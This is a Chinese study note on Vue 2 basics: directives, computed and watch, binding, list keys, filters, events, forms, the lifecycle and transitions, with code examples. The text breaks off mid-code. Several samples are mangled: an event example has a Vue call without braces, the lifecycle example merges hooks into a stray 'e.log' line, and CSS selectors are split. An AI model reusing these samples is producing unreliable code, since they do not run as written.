超详细vue学习笔记1

---

第 1 章： Vue 核心

1.1. Vue 的基本认识

1.1.1. 官网

1. 英文官网: https://vuejs.org/
   ​ 2) 中文官网: https://cn.vuejs.org/

1.1.2. 介绍描述

1. 渐进式 JavaScript 框架
   2) 作者: 尤雨溪
   3) 作用: 动态构建用户界面

1.1.3. Vue 的特点

1. 遵循 MVVM 模式
   2) 案例简洁, 体积小, 运行效率高, 适合移动/PC 端开发
   3) 它本身只关注 UI, 可以轻松引入 vue 插件或其它第三库开发项目

1.1.4. 与其它前端 JS 框架的关联

1. 借鉴 angular 的模板和数据绑定技术
   2) 借鉴 react 的组件化和虚拟 DOM 技术

1.1.5. Vue 扩展插件

1. vue-cli: vue 脚手架
   2) vue-resource(axios): ajax 请求
   3) vue-router: 路由
   4) vuex: 状态管理
   5) vue-lazyload: 图片懒加载
   6) vue-scroller: 页面滑动相关
   7) mint-ui: 基于 vue 的 UI 组件库(移动端)
   8) element-ui: 基于 vue 的 UI 组件库(PC 端)

1.2. Vue 的基本使用

data与el的2种写法
1.el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例，随后再通过vm.$mount(’#root’)指定el的值。
2.data有2种写法
(1).对象式
(2).函数式
如何选择：目前哪种写法都可以，**以后学习到组件时，data必须使用函数式，**否则会报错。
3.一个重要的原则：
由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。

<div id="root">
			<h1>你好，{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//el的两种写法
		/* const v = new Vue({
			//el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)
		v.$mount('#root') //第二种写法 */

		//data的两种写法
		new Vue({
			el:'#root',
			//data的第一种写法：对象式
			/* data:{
				name:'尚硅谷'
			} */

			//data的第二种写法：函数式
			data(){
				console.log('@@@',this) //此处的this是Vue实例对象
				return{
					name:'尚硅谷'
				}
			}
		})
	</script>

1.2.1. 使用 vue 开发者工具调试

Vue.jsdevtools-翻墙安装方式-推荐

1.2.2.理解Vue的MVVM

1.3模板语法

1.3.1 效果

1.3.2.模板的理解

1. 动态的 html 页面
   2) 包含了一些 JS 语法代码
   a. 双大括号表达式
   b. 指令(以 v-开头的自定义标签属性)

1.3.3. 双大括号表达式

1. 语法: {{exp}}
   2) 功能: 向页面输出数据
   3) 可以调用对象的方法

1.3.4. 指令一: 单向数据绑定

1. 功能: 指定变化的属性值
   2) 完整写法: v-bind:xxx=‘yyy’ //yyy 会作为表达式解析执行
   3) 简洁写法: :xxx=‘yyy’

1.3.5. 指令二: 绑定事件监听

1. 功能: 绑定指定事件名的回调函数
   2) 完整写法:
   v-on:keyup=‘xxx’
   v-on:keyup=‘xxx(参数)’
   v-on:keyup.enter=‘xxx’
   3) 简洁写法:
   @keyup=‘xxx’
   @keyup.enter='xx

1.3. 6. 事件修饰符

1. prevent : 阻止事件的默认行为 event.preventDefault()

2. stop : 停止事件冒泡 event.stopPropagation()

1.3.7. 案例

<div id="app">
    <h2>1. 双大括号表达式</h2>
    <p>{{msg}}</p>
    <p>{{msg.toUpperCase()}}</p>
    <h2>2. 指令一: 强制数据绑定</h2>
    <a href="url">访问指定站点</a><br><!--不能使用-->
    <a v-bind:href="url">访问指定站点 2</a><br>
    <a :href="url">访问指定站点 3</a><br>
    <h2>3. 指令二: 绑定事件监听</h2>
    <button v-on:click="handleClick">点我</button>
    <button @click="handleClick">点我 2</button>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
    new Vue({
        el: '#app',
        data: {// data 的所有属性都会成功 vm 对象的属性, 而模板页面中可以直接访问
            msg: 'NBA I Love This Game!',
            url: 'http://www.baidu.com'
        },
        methods: {
            handleClick () {
                alert('处理点击')
            }
        }
    })
</script>

1.3.8 v-model双向数据绑定

v-model 只能运用在 表单元素和组件中

1. 语法：v-mode:value=“xxx” 或简写为 v-model=“xxx”

2. 特点：数据不仅能从 data 流向页面，还能从页面流向 data

<h4>{{ msg }}</h4>

<!-- v-bind 只能实现数据的单向绑定，从 M 自动绑定到 V， 无法实现数据的双向绑定  -->
<input type="text" v-bind:value="msg" style="width:100%;">

<!-- 使用  v-model 指令，可以实现 表单元素和 Model 中数据的双向数据绑定 -->
<!-- input(radio, text, address, email....)   select    checkbox   textarea   -->
<input type="text" style="width:100%;" v-model="msg">

1.3.9 v-bind的使用

一、写法：v-bind:xxx=‘yyy’ 或者直接在vue组件属性前中加冒号：

<el-radio-group v-model="handle">

                    <el-radio :label="true">打开</el-radio>

                    <el-radio :label="false">关闭</el-radio>

</el-radio-group>
//label中加:，输出：true 或 false   值是Boolean类型

二、什么时候使用？

当属性需要传递的是变量时（特别是在使用v-for时），就采用v-bind形式。如：

//此时value的值为数值，1+value=25
<Student v-bind:value="24"/>
//此时value的值为字符串，1+value=124
<Student value="24"/>
   
//此时value的值为布尔值
<Student v-bind:value="false"/>
//此时value的值为字符串
<Student value="false"/>

1.4. 计算属性和监视

1.4.1. 监视属性

监视属性watch：

​ 1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作

​ 2.监视的属性必须存在，才能进行监视！！

​ 3.监视的两种写法：

​ (1).new Vue时传入watch配置

​ (2).通过vm.$watch监视

	//监视属性的简写
		 vm.$watch('isHot',(newValue,oldValue)=>{
			console.log('isHot被修改了',newValue,oldValue,this)
		}) 
	//正常写法
		/* vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			deep:true,//深度监视
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		}) */

1.4.2 watch属性的使用

考虑一个问题：想要实现 名 和 姓 两个文本框的内容改变，则全名的文本框中的值也跟着改变；（用以前的知识如何实现？？？）

1.监听data中属性的改变：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			/* watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}
			} */
		})

		vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用？当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
	</script>
</html>

2.  		深度监视：
    				(1).Vue中的watch默认不监测对象内部值的改变（一层）。
    				(2).配置deep:true可以监测对象内部值改变（多层）。
    		备注：
    				(1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！
    				(2).使用watch时根据数据的具体结构，决定是否采用深度监视。
   

<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
			<hr/>
			<h3>a的值是:{{numbers.a}}</h3>
			<button @click="numbers.a++">点我让a+1</button>
			<h3>b的值是:{{numbers.b}}</h3>
			<button @click="numbers.b++">点我让b+1</button>
			<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
			{{numbers.c.d.e}}
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
				numbers:{
					a:1,
					b:1,
					c:{
						d:{
							e:100
						}
					}
				}
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				isHot:{
					// immediate:true, //初始化时让handler调用一下
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				},
				//监视多级结构中某个属性的变化
				/* 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} */
				//监视多级结构中所有属性的变化
				numbers:{
					deep:true,
					handler(){
						console.log('numbers改变了')
					}
				}
			}
		})

	</script>

1.4.3. 计算属性高级

1. 通过 getter/setter 实现对属性数据的显示和监视

2. 计算属性存在缓存, 多次读取只执行一次 getter 计算

computed计算属性的使用

计算属性特点：当计算属性中所以来的任何一个 data 属性改变之后，都会重新触发 本计算属性 的重新计算，从而更新 fullName 的值，this指向vm
计算属性：

​ 1.定义：要用的属性不存在，要通过已有属性计算得来。

​ 2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。

​ 3.get函数什么时候执行？

​ (1).初次读取时会执行一次。

​ (2).当依赖的数据发生改变时会被再次调用。

​ 4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。

​ 5.备注：

​ 1.计算属性最终会出现在vm上，直接读取使用即可。

​ 2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

1. 计算属性的简写：

				fullName(){
					console.log('get被调用了')
					return this.firstName + '-' + this.lastName
				}

2.定义有get和set`的计算属性：

注意：fullName需要被修改的时候，就必须要写set，不修改可以不用写

	<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			测试：<input type="text" v-model="x"> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
			<!-- 全名：<span>{{fullName}}</span> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
			全名：<span>{{fullName}}</span> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				x:'你好'
			},
			methods: {
				demo(){
					
				}
			},
			computed:{
				fullName:{
					//get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
					//get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
					get(){
						console.log('get被调用了')
						// console.log(this) //此处的this是vm
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>
</html>

1.4.4. watch、computed和methods之间的对比

1. computed属性的结果会被缓存，除非依赖的响应式属性变化才会重新计算。主要当作属性来使用；
2. methods方法表示一个具体的操作，主要书写业务逻辑；
3. watch一个对象，键是需要观察的表达式，值是对应回调函数。主要用来监听某些特定数据的变化，从而进行某些具体的业务逻辑操作；可以看作是computed和methods的结合体；

computed和watch之间的区别：
1.computed能完成的功能，watch都可以完成。
2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。
两个重要的小原则：
1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。
2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或 组件实例对象。

1.5. class 与 style 绑定

1.5.1. 理解

1. 在应用界面中, 某个(些)元素的样式是变化的
   2) class/style 绑定就是专门用来实现动态样式效果的技术

1.5.2. class 绑定（使用class样式）

1. :class=‘xxx’
   2) 表达式是字符串: ‘classA’
   3) 表达式是对象: {classA:isA, classB: isB}
   4) 表达式是数组: [‘classA’, ‘classB’]

1.数组

<h1 :class="['red', 'thin']">这是一个邪恶的H1</h1>

2.数组中使用三元表达式

<h1 :class="['red', 'thin', isactive?'active':'']">这是一个邪恶的H1</h1>

3.数组中嵌套对象

<h1 :class="['red', 'thin', {'active': isactive}]">这是一个邪恶的H1</h1>

4.直接使用对象

<h1 :class="{red:true, italic:true, active:true, thin:true}">这是一个邪恶的H1</h1>

注意
如果类名中有-，必须用''括起来,不然没有用

<li :class="{'page-item': true,active: true}"></li>

1.5.3. style 绑定

1. :style="{ color: activeColor, fontSize: fontSize + ‘px’ }"
   2) 其中 activeColor/fontSize 是 data 属性

1.5.4. 案例

<style>
    .classA {
        color: red;
    } .
    classB {
        background: blue;
    } .
    classC {
        font-size: 20px;
    }
</style>
<div id="demo">
    <h2>1. class 绑定: :class='xxx'</h2>
    <p class="classB" :class="a">表达式是字符串: 'classA'</p>
    <p :class="{classA: isA, classB: isB}">表达式是对象: {classA:isA, classB: isB}</p>
    <p :class="['classA', 'classC']"> 表达式是数组: ['classA', 'classB']</p>
    <h2>2. style 绑定</h2>
    <p :style="{color, fontSize}">style="{ color: activeColor, fontSize: fontSize +
        'px' }"</p>
    <button @click="update">更新</button>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
    new Vue({
        el : '#demo',
        data : {
            a: 'classA',
            isA: true,
            isB: false,
            color: 'red',
            fontSize: '20px'
        },
        methods : {
            update () {
                this.a = 'classC'
                this.isA = false
                this.isB = true
                this.color = 'blue'
                this.fontSize = '30px'
            }
        }
    })
</script>

1.6. 条件渲染

1.6.1. 条件渲染指令

1. v-if 与 v-else
   2) v-show

1.6.2. 比较 v-if 与 v-show

1.v-if 写法：
(1).v-if=“表达式”
(2).v-else-if=“表达式”
(3).v-else=“表达式”
适用于：切换频率较低的场景。
特点：不展示的DOM元素直接被移除。
注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

2.v-show 写法：

​ 写法：v-show=“表达式”

​ 适用于：切换频率较高的场景。条件为真时展示，条件为假时隐藏

​ 特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

3.备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

1.6.3. 案例

<div id="demo">
    <h2 v-if="ok">表白成功</h2>
    <h2 v-else>表白失败</h2>
    <h2 v-show="ok">求婚成功</h2>
    <h2 v-show="!ok">求婚失败</h2>
    <br>
    <button @click="ok=!ok">切换</button>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
    var vm = new Vue({
        el: '#demo',
        data: {
            ok: false
        }
    })
</script>

1.7. 列表渲染

1.7.1 列表渲染常用的属性

1. v-for

<ul>   
<!--p为数据项，index为数据项的索引，persons为数据源，可以是数组，对象，字符串。
key为每项数据项的唯一标识。 可以使用in，也可以使用of -->
		<li v-for="(p,index) in persons" :key="p.id">
			{{p.name}}-{{p.age}}
		</li>
</ul>

1.7.2 key的作用与原理

react、vue中的key有什么作用？（key的内部原理）

​ 1. 虚拟DOM中key的作用：

​ key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,

​ 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

​

​ 2.对比规则：

​ (1).旧虚拟DOM中找到了与新虚拟DOM相同的key：

​ ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！

​ ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

​ (2).旧虚拟DOM中未找到与新虚拟DOM相同的key

​ 创建新的真实DOM，随后渲染到到页面。

​

​ 3. 用index作为key可能会引发的问题：

​ (1). 若对数据进行：逆序添加、逆序删除等破坏顺序操作:

​ 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

​ (2). 如果结构中还包含输入类的DOM：

​ 会产生错误DOM更新 ==> 界面有问题。

<button @click.once="add">添加一个老刘</button>
<ul>
	<li v-for="(p,index) of persons" :key="index"> //key中不使用id就会破坏顺序，应用p.id
			{{p.name}}-{{p.age}}
			<input type="text">
	</li>
</ul>
	<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					]
				},
				methods: {
					add(){
						const p = {id:'004',name:'老刘',age:40}
						this.persons.unshift(p)
					}
				},
			})
		</script>

​ 4. 开发中如何选择key?

​ (1).最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

​ (2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，

​ 使用index作为key是没有问题的。

1.7.3 过滤器filter

说明：过滤器可以用在两个地方：双花括号插值和 v-bind 表达式

1. 全局过滤器：Vue.filter()

<!-- 在双花括号中 -->
{{ message | capitalize }}

<!-- 在 `v-bind` 中 -->
<div v-bind:id="rawId | formatId"></div>

 <script>
  // 定义一个 Vue 全局的过滤器，名字叫做  msgFormat
  // msg 为固定的参数 即是你需要过滤的数据
            Vue.filter('msgFormat', function(msg) {
  // 字符串的  replace 方法，第一个参数，除了可写一个 字符串之外，还可以定义一个正则
                return msg.replace(/单纯/g, 'xx') 
            })
        </script>

2. 局部过滤器

   var vm = new Vue({
                el: '#app',
                data: {
                    msg: '曾经，我也是一个单纯的少年，单纯的我，傻傻的问，谁是世界上最单纯的男人'
                },
                methods: {},
                //定义私用局部过滤器。只能在当前 vue 对象中使用
                filters: {
                    dataFormat(msg) {
                        return msg+'xxxxx';
                    }
                }
            });

注意：

1、 当有局部和全局两个名称相同的过滤器时候，会以就近原则进行调用，即：局部过滤器优先于全局过滤器被调用！

2、 一个表达式可以使用多个过滤器。过滤器之间需要用管道符“|”隔开。其执行顺序从左往右

1.7.4 数据监测

Vue监视数据的原理：

1. vue会监视data中所有层次的数据。

2. 如何监测对象中的数据？
   

   通过setter实现监视，且要在new Vue时就传入要监测的数据。

   (1).对象中后追加的属性，Vue默认不做响应式处理
   (2).如需给后添加的属性做响应式，请使用如下API：
   Vue.set(target，propertyName/index，value) 或
   vm.$set(target，propertyName/index，value)

3. 如何监测数组中的数据？

   通过包裹数组更新元素的方法实现，本质就是做了两件事：

   (1).调用原生对应的方法对数组进行更新。
   (2).重新解析模板，进而更新页面。

4. 在Vue修改数组中的某个元素一定要用如下方法：

   (1).使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
   (2).Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！

1.8. 事件处理

1.8.2. 绑定监听

1. v-on:xxx=“fun”
   2) @xxx=“fun”
   3) @xxx=“fun(参数)”
   4) 默认事件形参: event

event 是原生 DOM 事件
5) 隐含属性对象: $event

注意：点击事件中，方法名不带括号，默认带参数event（鼠标事件），加了括号后，需要手动传入 $event 才能获得事件对象，或者是在点击的时候，自定义传入的参数，原生的js是要加括号的

1.8.3. 事件修饰符

• .stop 阻止冒泡

  <!-- 使用  .stop  阻止冒泡 -->
  <div class="inner" @click="div1Handler">
      <input type="button" value="戳他" @click.stop="btnHandler">
  </div>
  

• .prevent 阻止默认事件

  <!-- 使用 .prevent 阻止默认行为 -->
      <a href="http://www.baidu.com" @click.prevent="linkClick">有问题，先去百度</a>
  

• .capture 添加事件侦听器时使用事件捕获模式

  <!-- 使用  .capture 实现捕获触发事件的机制 -->
  <div class="inner" @click.capture="div1Handler">
      <input type="button" value="戳他" @click="btnHandler">
  </div>
  

• .self 只当事件在该元素本身（比如不是子元素）触发时触发回调

  <!-- 使用 .self 实现只有点击当前元素时候，才会触发事件处理函数 -->
  <div class="inner" @click="div1Handler">
      <input type="button" value="戳他" @click="btnHandler">
  </div>
  

• .once 事件只触发一次

<!-- 使用 .once 只触发一次事件处理函数 -->
<a href="http://www.baidu.com" @click.prevent.once="linkClick">有问题，先去百度</a>

1.8.4. 按键修饰符

1. .keycode : 操作的是某个 keycode 值的键
   2) .keyName : 操作的某个按键名的键(少部分)

<div id="example">
    <h2>1. 绑定监听</h2>
    <button v-on:click="test1">Greet</button>
    <button @click="test1">Greet2</button>
    <button @click="test2($event, 'hello')">Greet3</button>
    <h2>2. 事件修饰符</h2>
    <!-- 阻止事件默认行为 -->
    <a href="http://www.baidu.com" @click.prevent="test3">百度一下</a>
    <br/>
    <br/>
    <!-- 停止事件冒泡 -->
    <div style="width: 200px;height: 200px;background: red" @click="test4">
        <div style="width: 100px;height: 100px;background: green"
             @click.stop="test5"></div>
    </div>
    <h2>3. 按键修饰符</h2>
    <input @keyup.8="test6">
    <input @keyup.enter="test6">
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
    new Vue(el: '#example',
            data: {
            name: 'Vue.js'
            },
        methods: {
            test1 (event) {
                // 方法内 `this` 指向 vm
                // alert('Hello ' + this.name + '!')
                // `event` 是原生 DOM 事件
                alert(event.target.innerHTML)
            },
                test2 (event, msg) {
                    alert(event.target.innerHTML + '---' + msg)
                },
                    test3() {
                        alert('阻止事件的默认行为')
                    },
                        test4() {
                            alert('out')
                        },
                            test5() {
                                alert('inner')
                            },
                                test6(event) {
                                    alert(event.keyCode + '---' + event.target.value)
                                }
        }
    })
</script>

1.9. 表单输入绑定

1.9.1 使用 v-model 对表单数据自动收集

注意：v-model收集的是value值，checkbox标签中可以多选，值是多个的，所以是一个数组。如果只有一个框选择，就不需要是数组。v-model.number是vue原生的，将值转为数值，常用在年龄输入框，或者也可以使用v-bind属性。

1. text/textarea
   2) checkbox
   3) radio
   4) select

收集表单数据：

​ 若：，则v-model收集的是value值，用户输入的就是value值。

​ 若：，则v-model收集的是value值，且要给标签配置value值。

​ 若：

​ 1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

​ 2.配置input的value属性:

​ (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

​ (2)v-model的初始值是数组，那么收集的的就是value组成的数组

​ 备注：v-model的三个修饰符：

​ lazy：失去焦点再收集数据

​ number：输入字符串转为有效的数字

​ trim：输入首尾空格过滤

标签：标签通常和标签一起使用，标签为input元素定义标注（标记）

<form>
  <label for="male">Male</label>
  <input type="radio" name="sex" id="male" />
  <br />
  <label for="female">Female</label>
  <input type="radio" name="sex" id="female" />
</form>

1.9.2 案例

<div id="root">
			<form @submit.prevent="demo"> //prevent是阻止表单提交时刷新，阻止默认行为
				账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码：<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
				性别：
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
				爱好：
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息：
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>

1.10. Vue 实例生命周期

1.10.1. 生命周期流程图

vue实例的生命周期

• 什么是生命周期：从Vue实例创建、运行、到销毁期间，总是伴随着各种各样的事件，这些事件，统称为生命周期！
• 生命周期钩子：就是生命周期事件的别名而已；
• 生命周期钩子 = 生命周期函数 = 生命周期事件
• 主要的生命周期函数分类：
• 创建期间的生命周期函数：
• beforeCreate：实例刚在内存中被创建出来，此时，还没有初始化好 data 和 methods 属性
• created：实例已经在内存中创建OK，此时 data 和 methods 已经创建OK，此时还没有开始 编译模板
• beforeMount：此时已经完成了模板的编译，但是还没有挂载到页面中
• mounted：此时，已经将编译好的模板，挂载到了页面指定的容器中显示
• 运行期间的生命周期函数：
• beforeUpdate：状态更新之前执行此函数， 此时 data 中的状态值是最新的，但是界面上显示的 数据还是旧的，因为此时还没有开始重新渲染DOM节点
• **updated：**实例更新完毕之后调用此函数，此时 data 中的状态值 和 界面上显示的数据，都已经完成了更新，界面已经被重新渲染好了！
• 销毁期间的生命周期函数：
• beforeDestroy：实例销毁之前调用。在这一步，实例仍然完全可用。
• destroyed：Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。

1.10.2. vue 生命周期分析

1)初始化显示

​ beforeCreate()

​ created()

​ beforeMount()

​ mounted()

2)更新状态: this.xxx = value

​ beforeUpdate()
​ updated()

3)销毁 vue 实例: vm.$destory()

​ beforeDestory()
​ estoryed()

1.10.3. 常用的生命周期方法

1. created()/mounted(): 发送 ajax 请求, 启动定时器等异步任务
   2) beforeDestory(): 做收尾工作, 如: 清除定时器

1.10.4. 案例

<div>
    <button @click="destoryVue">destory vue</button>
    <p v-show="isShowing">{{msg}}</p>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
    var vue = new Vue({
        el: 'div',
        data: {
            msg: '尚硅谷 IT 教育',
            isShowing: true,
            persons: []
        },
        beforeCreate () {
            console.log('beforeCreate() msg=' + this.msg)
            e.log('created() msg='+this.msg)
            this.intervalId = setInterval(() => {
                console.log('-----')
                this.isShowing = !this.isShowing
            }, 1000)
        },
        beforeMount () {
            console.log('beforeMount() msg='+this.msg)
        },
        mounted () {
            console.log('mounted() msg='+this.msg)
        },
        beforeUpdate() {
            console.log('beforeUpdate isShowing='+this.isShowing)
        },
        updated () {
            console.log('updated isShowing='+this.isShowing)
        },
        beforeDestroy () {
            console.log('beforeDestroy() msg='+this.msg)
            clearInterval(this.intervalId)
        },
        destroyed () {
            console.log('destroyed() msg='+this.msg)
        },
        methods: {
            destoryVue () {
                vue.$destroy()
            }
        }
    })
</script>

1.11. 过渡&动画

1.11.2. vue 动画的理解

1. 操作 css 的 trasition 或 animation
2. vue 会给目标元素添加/移除特定的 class
3. 过渡的相关类名
   xxx-enter-active: 指定显示的 transition
   xxx-leave-active: 指定隐藏的 transition
   xxx-enter/xxx-leave-to: 指定隐藏时的样式

1.11.3. 基本过渡动画的案例

1. 在目标元素外包裹<transition name="xxx">
   2) 定义 class 样式
   指定过渡样式: transition
   指定隐藏时的样式: opacity/其它

1.11.4. 案例

<style>
    .fade-enter-active, .fade-leave-active {
        transition: opacity .5s
    } .
    fade-enter, .fade-leave-to {
        opacity: 0
    } /
    * 可以设置不同的进入和离开动画 */
    .slide-fade-enter-active {
        transition: all .3s ease;
    } .
    slide-fade-leave-active {
        transition: all .8s cubic-bezier(1.0, 0.5, 0.8, 1.0);
    } .
    slide-fade-enter, .slide-fade-leave-to {
        transform: translateX(10px);
        opacity: 0;
    }
</style>
<div id="demo1">
    <button @click="show = !show">
        Toggle1
    </button>
    <transition name="fade">
        <p v-if="show">hello</p>
    </transition>
</div>
<div id="demo2">
    <button @click="show = !show">
        Toggle2
    </button>
    <transition name="slide-fade">
        <p v-if="show">hello</p>
    </transition>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
    new Vue({
        el: '#demo1',
        data: {
            show: true
        }
    })
    new Vue({
        el: '#demo2',
        data: {
            show: true
        }
    })
</script>

<style>
    .bounce-enter-active {
        animation: bounce-in .5s;
    } .
    bounce-leave-active {
        animation: bounce-in .5s reverse;
    } @
        keyframes bounce-in {
            0% {
                transform: scale(0);
            } 
            50% {
                transform: scale(1.5);
            } 
            100% {
                transform: scale(1);
            }
    }
</style>
<div id="test2">
    <button @click="show = !show">Toggle show</button>
    <br>
    <transition name="bounce">
        <p v-if="show" style="display: inline-block">Look at me!</p>
    </transition>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script>
    new Vue({
        el: '#test2',
        data: {
            show: true
        }
    })
</script>

1.12. 过滤器

1.12.1. 理解过滤器

过滤器：

​ 定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

​ 语法：

​ 1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}

​ 2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名” ，xxx为data中的数据

​ 备注：

​ 1.过滤器也可以接收额外参数、多个过滤器也可以串联

​ 2.并没有改变原本的数据, 是产生新的对应的数据

1.12.2. 定义和使用过滤器

1. 定义过滤器

Vue.filter(filterName, function(value[,arg1,arg2,...]){
    // 进行一定的数据处理
    return newValue
})

2)使用过滤器

<div>{{myData | filterName}}</div>
<div>{{myData | filterName(arg)}}</div>

1.12.3. 案例

<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是：{{fmtTime}}</h3>
			<!-- methods实现 -->
			<h3>现在是：{{getFmtTime()}}</h3>
			<!-- 过滤器实现 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			<!-- 过滤器实现（传参） -->
			<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
			<h3 :x="msg | mySlice">尚硅谷</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})
		
		new Vue({
			el:'#root',
			data:{
				time:1621561377603, //时间戳
				msg:'你好，尚硅谷'
			},
			computed: {
				fmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
